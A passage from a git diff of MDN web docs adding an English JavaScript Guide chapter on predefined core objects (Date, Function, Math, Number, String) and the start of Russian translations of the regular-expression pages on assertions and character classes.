+alert(doubledEvens); // Alerts 4,44,60
+</pre>
+
+<p>The square brackets of an array comprehension introduce an implicit block for scoping purposes. New variables (such as i in the example) are treated as if they had been declared using <a href="/en-US/docs/JavaScript/Reference/Statements/let" title="/en-US/docs/JavaScript/Reference/Statements/let"><code>let</code></a>. This means that they will not be available outside of the comprehension.</p>
+
+<p>The input to an array comprehension does not itself need to be an array; <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="en-US/docs/JavaScript/Guide/Iterators and Generators">iterators and generators</a> can also be used.</p>
+
+<p>Even strings may be used as input; to achieve the filter and map actions (under Array-like objects) above:</p>
+
+<pre class="brush: js">var str = 'abcdef';
+var consonantsOnlyStr = [c for (c of str) if (!(/[aeiouAEIOU]/).test(c))  ].join(''); // 'bcdf'
+var interpolatedZeros = [c+'0' for (c of str) ].join(''); // 'a0b0c0d0e0f0'
+</pre>
+
+<p>Again, the input form is not preserved, so we have to use <code>join()</code> to revert back to a string.</p>
+
+<h2 id="Boolean_Object">Boolean Object</h2>
+
+<p>The <code>Boolean</code> object is a wrapper around the primitive Boolean data type. Use the following syntax to create a <code>Boolean</code> object:</p>
+
+<pre class="brush: js">var booleanObjectName = new Boolean(value);
+</pre>
+
+<p>Do not confuse the primitive Boolean values <code>true</code> and <code>false</code> with the true and false values of the <code>Boolean</code> object. Any object whose value is not <code>undefined</code> , <code>null</code>, <code>0</code>, <code>NaN</code>, or the empty string, including a <code>Boolean</code> object whose value is false, evaluates to true when passed to a conditional statement. See <a href="/en-US/docs/JavaScript/Guide/Statements#if...else_Statement" title="en-US/docs/JavaScript/Guide/Statements#if...else Statement">if...else Statement</a> for more information.</p>
+
+<h2 id="Date_Object">Date Object</h2>
+
+<p>JavaScript does not have a date data type. However, you can use the <code>Date</code> object and its methods to work with dates and times in your applications. The <code>Date</code> object has a large number of methods for setting, getting, and manipulating dates. It does not have any properties.</p>
+
+<p>JavaScript handles dates similarly to Java. The two languages have many of the same date methods, and both languages store dates as the number of milliseconds since January 1, 1970, 00:00:00.</p>
+
+<p>The <code>Date</code> object range is -100,000,000 days to 100,000,000 days relative to 01 January, 1970 UTC.</p>
+
+<p>To create a <code>Date</code> object:</p>
+
+<pre class="brush: js">var dateObjectName = new Date([parameters]);
+</pre>
+
+<p>where <code>dateObjectName</code> is the name of the <code>Date</code> object being created; it can be a new object or a property of an existing object.</p>
+
+<p>Calling <code>Date</code> without the <code>new</code> keyword simply converts the provided date to a string representation.</p>
+
+<p>The <code>parameters</code> in the preceding syntax can be any of the following:</p>
+
+<ul>
+ <li>Nothing: creates today's date and time. For example, <code>today = new Date();</code>.</li>
+ <li>A string representing a date in the following form: "Month day, year hours:minutes:seconds." For example, <code>var Xmas95 = new Date("December 25, 1995 13:30:00")</code>. If you omit hours, minutes, or seconds, the value will be set to zero.</li>
+ <li>A set of integer values for year, month, and day. For example, <code>var Xmas95 = new Date(1995, 11, 25)</code>.</li>
+ <li>A set of integer values for year, month, day, hour, minute, and seconds. For example, <code>var Xmas95 = new Date(1995, 11, 25, 9, 30, 0);</code>.</li>
+</ul>
+
+<p><strong>JavaScript 1.2 and earlier</strong><br>
+ The <code>Date</code> object behaves as follows:</p>
+
+<ul>
+ <li>Dates prior to 1970 are not allowed.</li>
+ <li>JavaScript depends on platform-specific date facilities and behavior; the behavior of the <code>Date</code> object varies from platform to platform.</li>
+</ul>
+
+<h3 id="Methods_of_the_Date_Object">Methods of the Date Object</h3>
+
+<p>The <code>Date</code> object methods for handling dates and times fall into these broad categories:</p>
+
+<ul>
+ <li>"set" methods, for setting date and time values in <code>Date</code> objects.</li>
+ <li>"get" methods, for getting date and time values from <code>Date</code> objects.</li>
+ <li>"to" methods, for returning string values from <code>Date</code> objects.</li>
+ <li>parse and UTC methods, for parsing <code>Date</code> strings.</li>
+</ul>
+
+<p>With the "get" and "set" methods you can get and set seconds, minutes, hours, day of the month, day of the week, months, and years separately. There is a <code>getDay</code> method that returns the day of the week, but no corresponding <code>setDay</code> method, because the day of the week is set automatically. These methods use integers to represent these values as follows:</p>
+
+<ul>
+ <li>Seconds and minutes: 0 to 59</li>
+ <li>Hours: 0 to 23</li>
+ <li>Day: 0 (Sunday) to 6 (Saturday)</li>
+ <li>Date: 1 to 31 (day of the month)</li>
+ <li>Months: 0 (January) to 11 (December)</li>
+ <li>Year: years since 1900</li>
+</ul>
+
+<p>For example, suppose you define the following date:</p>
+
+<pre class="brush: js">var Xmas95 = new Date("December 25, 1995");
+</pre>
+
+<p>Then <code>Xmas95.getMonth()</code> returns 11, and <code>Xmas95.getFullYear()</code> returns 1995.</p>
+
+<p>The <code>getTime</code> and <code>setTime</code> methods are useful for comparing dates. The <code>getTime</code> method returns the number of milliseconds since January 1, 1970, 00:00:00 for a <code>Date</code> object.</p>
+
+<p>For example, the following code displays the number of days left in the current year:</p>
+
+<pre class="brush: js">var today = new Date();
+var endYear = new Date(1995, 11, 31, 23, 59, 59, 999); // Set day and month
+endYear.setFullYear(today.getFullYear()); // Set year to this year
+var msPerDay = 24 * 60 * 60 * 1000; // Number of milliseconds per day
+var daysLeft = (endYear.getTime() - today.getTime()) / msPerDay;
+var daysLeft = Math.round(daysLeft); //returns days left in the year
+</pre>
+
+<p>This example creates a <code>Date</code> object named <code>today</code> that contains today's date. It then creates a <code>Date</code> object named <code>endYear</code> and sets the year to the current year. Then, using the number of milliseconds per day, it computes the number of days between <code>today</code> and <code>endYear</code>, using <code>getTime</code> and rounding to a whole number of days.</p>
+
+<p>The <code>parse</code> method is useful for assigning values from date strings to existing <code>Date</code> objects. For example, the following code uses <code>parse</code> and <code>setTime</code> to assign a date value to the <code>IPOdate</code> object:</p>
+
+<pre class="brush: js">var IPOdate = new Date();
+IPOdate.setTime(Date.parse("Aug 9, 1995"));
+</pre>
+
+<h3 id="Using_the_Date_Object_an_Example">Using the Date Object: an Example</h3>
+
+<p>In the following example, the function <code>JSClock()</code> returns the time in the format of a digital clock.</p>
+
+<pre class="brush: js">function JSClock() {
+  var time = new Date();
+  var hour = time.getHours();
+  var minute = time.getMinutes();
+  var second = time.getSeconds();
+  var temp = "" + ((hour &gt; 12) ? hour - 12 : hour);
+  if (hour == 0)
+    temp = "12";
+  temp += ((minute &lt; 10) ? ":0" : ":") + minute;
+  temp += ((second &lt; 10) ? ":0" : ":") + second;
+  temp += (hour &gt;= 12) ? " P.M." : " A.M.";
+  return temp;
+}
+</pre>
+
+<p>The <code>JSClock</code> function first creates a new <code>Date</code> object called <code>time</code>; since no arguments are given, time is created with the current date and time. Then calls to the <code>getHours</code>, <code>getMinutes</code>, and <code>getSeconds</code> methods assign the value of the current hour, minute, and second to <code>hour</code>, <code>minute</code>, and <code>second</code>.</p>
+
+<p>The next four statements build a string value based on the time. The first statement creates a variable <code>temp</code>, assigning it a value using a conditional expression; if <code>hour</code> is greater than 12, (<code>hour - 12</code>), otherwise simply hour, unless hour is 0, in which case it becomes 12.</p>
+
+<p>The next statement appends a <code>minute</code> value to <code>temp</code>. If the value of <code>minute</code> is less than 10, the conditional expression adds a string with a preceding zero; otherwise it adds a string with a demarcating colon. Then a statement appends a seconds value to <code>temp</code> in the same way.</p>
+
+<p>Finally, a conditional expression appends "P.M." to <code>temp</code> if <code>hour</code> is 12 or greater; otherwise, it appends "A.M." to <code>temp</code>.</p>
+
+<h2 id="Function_Object">Function Object</h2>
+
+<p>The predefined <code>Function</code> object specifies a string of JavaScript code to be compiled as a function.</p>
+
+<p>To create a <code>Function</code> object:</p>
+
+<pre class="brush: js">var functionObjectName = new Function ([arg1, arg2, ... argn], functionBody);
+</pre>
+
+<p><code>functionObjectName</code> is the name of a variable or a property of an existing object. It can also be an object followed by a lowercase event handler name, such as <code>window.onerror</code>.</p>
+
+<p><code>arg1</code>, <code>arg2</code>, ... <code>argn</code> are arguments to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier; for example "x" or "theForm".</p>
+
+<p><code>functionBody</code> is a string specifying the JavaScript code to be compiled as the function body.</p>
+
+<p><code>Function</code> objects are evaluated each time they are used. This is less efficient than declaring a function and calling it within your code, because declared functions are compiled.</p>
+
+<p>In addition to defining functions as described here, you can also use the <a href="/en-US/docs/JavaScript/Reference/Statements/function" title="en-US/docs/JavaScript/Reference/Statements/function"><code>function</code> statement</a> and the function expression. See the <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a> for more information.</p>
+
+<p>The following code assigns a function to the variable <code>setBGColor</code>. This function sets the current document's background color.</p>
+
+<pre class="brush: js">var setBGColor = new Function("document.bgColor = 'antiquewhite'");
+</pre>
+
+<p>To call the <code>Function</code> object, you can specify the variable name as if it were a function. The following code executes the function specified by the <code>setBGColor</code> variable:</p>
+
+<pre class="brush: js">var colorChoice="antiquewhite";
+if (colorChoice=="antiquewhite") {setBGColor()}
+</pre>
+
+<p>You can assign the function to an event handler in either of the following ways:</p>
+
+<ol>
+ <li>
+  <pre class="brush: js">document.form1.colorButton.onclick = setBGColor;
+</pre>
+ </li>
+ <li>
+  <pre class="brush: html">&lt;INPUT NAME="colorButton" TYPE="button"
+  VALUE="Change background color"
+  onClick="setBGColor()"&gt;
+</pre>
+ </li>
+</ol>
+
+<p>Creating the variable <code>setBGColor</code> shown above is similar to declaring the following function:</p>
+
+<pre class="brush: js">function setBGColor() {
+  document.bgColor = 'antiquewhite';
+}
+</pre>
+
+<p>Assigning a function to a variable is similar to declaring a function, but there are differences:</p>
+
+<ul>
+ <li>When you assign a function to a variable using <code>var setBGColor = new Function("...")</code>, <code>setBGColor</code> is a variable for which the current value is a reference to the function created with <code>new Function()</code>.</li>
+ <li>When you create a function using <code>function setBGColor() {...}</code>, <code>setBGColor</code> is not a variable, it is the name of a function.</li>
+</ul>
+
+<p>You can nest a function within a function. The nested (inner) function is private to its containing (outer) function:</p>
+
+<ul>
+ <li>The inner function can be accessed only from statements in the outer function.</li>
+ <li>The inner function can use the arguments and variables of the outer function. The outer function cannot use the arguments and variables of the inner function.</li>
+</ul>
+
+<h2 id="Math_Object">Math Object</h2>
+
+<p>The predefined <code>Math</code> object has properties and methods for mathematical constants and functions. For example, the <code>Math</code> object's <code>PI</code> property has the value of pi (3.141...), which you would use in an application as</p>
+
+<pre class="brush: js">Math.PI
+</pre>
+
+<p>Similarly, standard mathematical functions are methods of <code>Math</code>. These include trigonometric, logarithmic, exponential, and other functions. For example, if you want to use the trigonometric function sine, you would write</p>
+
+<pre class="brush: js">Math.sin(1.56)
+</pre>
+
+<p>Note that all trigonometric methods of <code>Math</code> take arguments in radians.</p>
+
+<p>The following table summarizes the <code>Math</code> object's methods.</p>
+
+<table class="standard-table">
+ <caption>Table 7.1 Methods of Math</caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>abs</code></td>
+   <td>Absolute value</td>
+  </tr>
+  <tr>
+   <td><code>sin</code>, <code>cos</code>, <code>tan</code></td>
+   <td>Standard trigonometric functions; argument in radians</td>
+  </tr>
+  <tr>
+   <td><code>acos</code>, <code>asin</code>, <code>atan</code>, <code>atan2</code></td>
+   <td>Inverse trigonometric functions; return values in radians</td>
+  </tr>
+  <tr>
+   <td><code>exp</code>, <code>log</code></td>
+   <td>Exponential and natural logarithm, base <code>e</code></td>
+  </tr>
+  <tr>
+   <td><code>ceil</code></td>
+   <td>Returns least integer greater than or equal to argument</td>
+  </tr>
+  <tr>
+   <td><code>floor</code></td>
+   <td>Returns greatest integer less than or equal to argument</td>
+  </tr>
+  <tr>
+   <td><code>min</code>, <code>max</code></td>
+   <td>Returns greater or lesser (respectively) of two arguments</td>
+  </tr>
+  <tr>
+   <td><code>pow</code></td>
+   <td>Exponential; first argument is base, second is exponent</td>
+  </tr>
+  <tr>
+   <td><code>random</code></td>
+   <td>Returns a random number between 0 and 1.</td>
+  </tr>
+  <tr>
+   <td><code>round</code></td>
+   <td>Rounds argument to nearest integer</td>
+  </tr>
+  <tr>
+   <td><code>sqrt</code></td>
+   <td>Square root</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Unlike many other objects, you never create a <code>Math</code> object of your own. You always use the predefined <code>Math</code> object.</p>
+
+<h2 id="Number_Object">Number Object</h2>
+
+<p>The <code>Number</code> object has properties for numerical constants, such as maximum value, not-a-number, and infinity. You cannot change the values of these properties and you use them as follows:</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<p>You always refer to a property of the predefined <code>Number</code> object as shown above, and not as a property of a <code>Number</code> object you create yourself.</p>
+
+<p>The following table summarizes the <code>Number</code> object's properties.</p>
+
+<table class="standard-table">
+ <caption>Table 7.2 Properties of Number</caption>
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MAX_VALUE</code></td>
+   <td>The largest representable number</td>
+  </tr>
+  <tr>
+   <td><code>MIN_VALUE</code></td>
+   <td>The smallest representable number</td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td>Special "not a number" value</td>
+  </tr>
+  <tr>
+   <td><code>NEGATIVE_INFINITY</code></td>
+   <td>Special negative infinite value; returned on overflow</td>
+  </tr>
+  <tr>
+   <td><code>POSITIVE_INFINITY</code></td>
+   <td>Special positive infinite value; returned on overflow</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The Number prototype provides methods for retrieving information from Number objects in various formats. The following table summarizes the methods of <code>Number.prototype</code>.</p>
+
+<table class="fullwidth-table">
+ <caption>Table 7.3 Methods of Number.prototype</caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>toExponential</code></td>
+   <td>Returns a string representing the number in exponential notation.</td>
+  </tr>
+  <tr>
+   <td><code>toFixed</code></td>
+   <td>Returns a string representing the number in fixed-point notation.</td>
+  </tr>
+  <tr>
+   <td><code>toPrecision</code></td>
+   <td>Returns a string representing the number to a specified precision in fixed-point notation.</td>
+  </tr>
+  <tr>
+   <td><code>toSource</code></td>
+   <td>Returns an object literal representing the specified <code>Number</code> object; you can use this value to create a new object. Overrides the <code>Object.toSource</code> method.</td>
+  </tr>
+  <tr>
+   <td><code>toString</code></td>
+   <td>Returns a string representing the specified object. Overrides the <code>Object.toString </code>method.</td>
+  </tr>
+  <tr>
+   <td><code>valueOf</code></td>
+   <td>Returns the primitive value of the specified object. Overrides the <code>Object.valueOf </code>method.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="RegExp_Object">RegExp Object</h2>
+
+<p>The <code>RegExp</code> object lets you work with regular expressions. It is described in <a href="/en-US/docs/JavaScript/Guide/Regular_Expressions" title="en-US/docs/JavaScript/Guide/Regular Expressions">Regular Expressions</a>.</p>
+
+<h2 id="String_Object">String Object</h2>
+
+<p>The <code>String</code> object is a wrapper around the string primitive data type. Do not confuse a string literal with the <code>String</code> object. For example, the following code creates the string literal <code>s1</code> and also the <code>String</code> object <code>s2</code>:</p>
+
+<pre class="brush: js">var s1 = "foo"; //creates a string literal value
+var s2 = new String("foo"); //creates a String object
+</pre>
+
+<p>You can call any of the methods of the <code>String</code> object on a string literal value—JavaScript automatically converts the string literal to a temporary <code>String</code> object, calls the method, then discards the temporary <code>String</code> object. You can also use the <code>String.length</code> property with a string literal.</p>
+
+<p>You should use string literals unless you specifically need to use a <code>String</code> object, because <code>String</code> objects can have counterintuitive behavior. For example:</p>
+
+<pre class="brush: js">var s1 = "2 + 2"; //creates a string literal value
+var s2 = new String("2 + 2"); //creates a String object
+eval(s1); //returns the number 4
+eval(s2); //returns the string "2 + 2"</pre>
+
+<p>A <code>String</code> object has one property, <code>length</code>, that indicates the number of characters in the string. For example, the following code assigns <code>x</code> the value 13, because "Hello, World!" has 13 characters:</p>
+
+<pre class="brush: js">var mystring = "Hello, World!";
+var x = mystring.length;
+</pre>
+
+<p>A <code>String</code> object has two types of methods: those that return a variation on the string itself, such as <code>substring</code> and <code>toUpperCase</code>, and those that return an HTML-formatted version of the string, such as <code>bold</code> and <code>link</code>.</p>
+
+<p>For example, using the previous example, both <code>mystring.toUpperCase()</code> and <code>"hello, world!".toUpperCase()</code> return the string "HELLO, WORLD!"</p>
+
+<p>The <code>substring</code> method takes two arguments and returns a subset of the string between the two arguments. Using the previous example, <code>mystring.substring(4, 9)</code> returns the string "o, Wo". See the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/substring" title="en-US/docs/JavaScript/Reference/Global Objects/String/substring"><code>substring</code></a> method of the <code>String</code> object in the JavaScript Reference for more information.</p>
+
+<p>The <code>String</code> object also has a number of methods for automatic HTML formatting, such as <code>bold</code> to create boldface text and <code>link</code> to create a hyperlink. For example, you could create a hyperlink to a hypothetical URL with the <code>link</code> method as follows:</p>
+
+<pre class="brush: js">mystring.link("http://www.helloworld.com")
+</pre>
+
+<p>The following table summarizes the methods of <code>String</code> objects.</p>
+
+<table class="fullwidth-table">
+ <caption>Table 7.4 Methods of String Instances</caption>
+ <thead>
+  <tr>
+   <th scope="col">Method</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/anchor" title="en-US/docs/JavaScript/Reference/Global_Objects/String/anchor">anchor</a></code></td>
+   <td>Creates HTML named anchor.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/big" title="en-US/docs/JavaScript/Reference/Global_Objects/String/big">big</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/blink" title="en-US/docs/JavaScript/Reference/Global_Objects/String/blink">blink</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/bold" title="en-US/docs/JavaScript/Reference/Global_Objects/String/bold">bold</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/fixed" title="en-US/docs/JavaScript/Reference/Global_Objects/String/fixed">fixed</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/italics" title="en-US/docs/JavaScript/Reference/Global_Objects/String/italics">italics</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/small" title="en-US/docs/JavaScript/Reference/Global_Objects/String/small">small</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/strike" title="en-US/docs/JavaScript/Reference/Global_Objects/String/strike">strike</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/sub" title="en-US/docs/JavaScript/Reference/Global_Objects/String/sub">sub</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/sup" title="en-US/docs/JavaScript/Reference/Global_Objects/String/sup">sup</a></code></td>
+   <td>Create HTML formatted string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/charAt" title="en-US/docs/JavaScript/Reference/Global_Objects/String/charAt">charAt</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/charCodeAt" title="en-US/docs/JavaScript/Reference/Global_Objects/String/charCodeAt">charCodeAt</a></code></td>
+   <td>Return the character or character code at the specified position in string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/indexOf" title="en-US/docs/JavaScript/Reference/Global_Objects/String/indexOf">indexOf</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/lastIndexOf" title="en-US/docs/JavaScript/Reference/Global_Objects/String/lastIndexOf">lastIndexOf</a></code></td>
+   <td>Return the position of specified substring in the string or last position of specified substring, respectively.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/link" title="en-US/docs/JavaScript/Reference/Global_Objects/String/link">link</a></code></td>
+   <td>Creates HTML hyperlink.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/concat" title="en-US/docs/JavaScript/Reference/Global_Objects/String/concat">concat</a></code></td>
+   <td>Combines the text of two strings and returns a new string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/fromCharCode" title="en-US/docs/JavaScript/Reference/Global_Objects/String/fromCharCode">fromCharCode</a></code></td>
+   <td>Constructs a string from the specified sequence of Unicode values. This is a method of the String class, not a String instance.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="en-US/docs/JavaScript/Reference/Global_Objects/String/split">split</a></code></td>
+   <td>Splits a <code>String</code> object into an array of strings by separating the string into substrings.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/slice" title="en-US/docs/JavaScript/Reference/Global_Objects/String/slice">slice</a></code></td>
+   <td>Extracts a section of an string and returns a new string.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/substring" title="en-US/docs/JavaScript/Reference/Global_Objects/String/substring">substring</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/substr" title="en-US/docs/JavaScript/Reference/Global_Objects/String/substr">substr</a></code></td>
+   <td>Return the specified subset of the string, either by specifying the start and end indexes or the start index and a length.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/match" title="en-US/docs/JavaScript/Reference/Global_Objects/String/match">match</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global_Objects/String/replace">replace</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/search" title="en-US/docs/JavaScript/Reference/Global_Objects/String/search">search</a></code></td>
+   <td>Work with regular expressions.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/toLowerCase" title="en-US/docs/JavaScript/Reference/Global_Objects/String/toLowerCase">toLowerCase</a></code>, <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/toUpperCase" title="en-US/docs/JavaScript/Reference/Global_Objects/String/toUpperCase">toUpperCase</a></code></td>
+   <td>
+    <p>Return the string in all lowercase or all uppercase, respectively.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>autoPreviousNext("JSGChapters")</p>
diff --git a/files/ru/web/javascript/guide/regular_expressions/assertions/index.html b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html
new file mode 100644
index 0000000000..2d04ed19aa
--- /dev/null
+++ b/files/ru/web/javascript/guide/regular_expressions/assertions/index.html
@@ -0,0 +1,60 @@
+---
+title: Assertions
+slug: Web/JavaScript/Guide/Regular_Expressions/Assertions
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
+---
+<p>{{jsSidebar("JavaScript Guide")}}{{draft}}</p>
+
+<p>Проверка (assertion) задает возможность совпадения одним из указанных способов. Проверка может содержать условные выражения, опережающие (look-ahead) и ретроспективные (look-behind) проверки.</p>
+
+<h2 id="Типы">Типы</h2>
+
+<div class="blockIndicator note">
+<p>Символ <code>?</code> также может быть использован как обычный квантификатор.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Выражение</th>
+   <th scope="col">Что означает</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>x(?=y)</td>
+   <td>
+    <p><strong>Опережающая проверка: </strong><code><em>x</em></code> подходит только когда за <code><em>x</em></code> следует <code><em>y</em></code>. Например, /<code>Jack(?=Sprat)/</code> сработает для "Jack"  только когда за ним будет "Sprat".<br>
+     <code>/Jack(?=Sprat|Frost)/</code> подойдет для "Jack" только когда за ним будет "Sprat" или "Frost". Следует заметить, что ни "Sprat" ни "Frost" не будут выданы как часть проверки.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>x(?!y)</td>
+   <td>
+    <p><strong>Отрицательная опережающая проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда за </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не следует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/\d+(?!\.)/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если за ним не стоит точка. Выполнение кода </span><code>/\d+(?!\.)/.exec('3.141')</code> выдаст только число "141", поскольку за "3" следует точка.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>(?&lt;=y)x</td>
+   <td>
+    <p><strong>Ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для "Sprat" только если перед ним есть "Jack". </span><code>/(?&lt;=Jack|Tom)Sprat/</code> подойдет для "Sprat" если перед ним будут "Jack" или "Tom". Заметим, что ни "Jack" ни "Tom" не будут выданы.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>(?&lt;!y)x</td>
+   <td>
+    <p><strong>Отрицательная ретроспективная проверка: </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> подходит только когда </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> не предшествует </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> Например, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработает для числа в том случае, если перед ним не стоит знак минус. Выполнение кода </span><code>/(?&lt;!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?&lt;!-)\d+/.exec('-3')</code> ничего не найдет, т.к. перед числом есть знак минус.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<p> </p>
+
+<h2 id="Browser_support">Browser support</h2>
+
+<p> </p>
+
+<h2 id="See_also">See also</h2>
diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html
new file mode 100644
index 0000000000..08aa94b4c5
--- /dev/null
+++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html
@@ -0,0 +1,221 @@
+---
+title: Классы символов
+slug: Web/JavaScript/Guide/Regular_Expressions/Character_Classes
+tags:
+  - Guide
+  - JavaScript
+  - Reference
+  - RegExp
+  - Regular Expression
+  - character classes
+translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes
+---
+<p>{{JSSidebar("JavaScript Guide")}}</p>
+
+<p>Классы символов позволяют различать виды символов, к примеру, как различия между буквами и цифрами.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-character-classes.html")}}</div>
+
+<h2 id="Типы">Типы</h2>
+
+<div class="hidden">The following table is also duplicated on <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Cheatsheet">this cheatsheet</a>. Do not forget to edit it as well, thanks!</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Символ</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>.</code></td>
+   <td>
+    <p>Точка имеет одно из следеющих смыслов:</p>
+
+    <ul>
+     <li>Сопадение с любым одним символом <em>за исключение</em> символовов завершения строки: <code>\n</code>, <code>\r</code>, <code>\u2028</code> or <code>\u2029</code>. Например, <code>/.y/</code> совпадает "my" с "ay", и не совпадает с "yes" и "yes make my day".</li>
+     <li>В набор символов, точка теряет свой специальный смысл и совпадает с литеральным символом точка.</li>
+    </ul>
+
+    <p>Замечание. <code>m</code> флаг посика по множеству строк не меняет поведения точки. Чтобы найти воспадения во многострочном поиске можно использвать набор символов <code>[^]</code> — он сопадёт с любым символом включая символы заверешния строки.</p>
+
+    <p>В ES2018 добавили <code>s</code> "dotAll" флаг, который ползволяет точке <code>(.</code>) находить все символы включая симполвы переноса строк.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\d</code></td>
+   <td>
+    <p>Совпадет с любой цифрой (арабский числа). Эквивалентно  <code>[0-9]</code>. Например, <code>/\d/</code> или <code>/[0-9]/</code> находит "2" в "B2 is the suite number"..</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\D</code></td>
+   <td>
+    <p>Совпадет с любым символом, который не является цифрой (арабский числа). Эквивалентно <code>[^0-9]</code>. Например, <code>/\D/</code> or <code>/[^0-9]/</code> находит "B" в "B2 is the suite number".</p>
+   </td>
+  </tr>
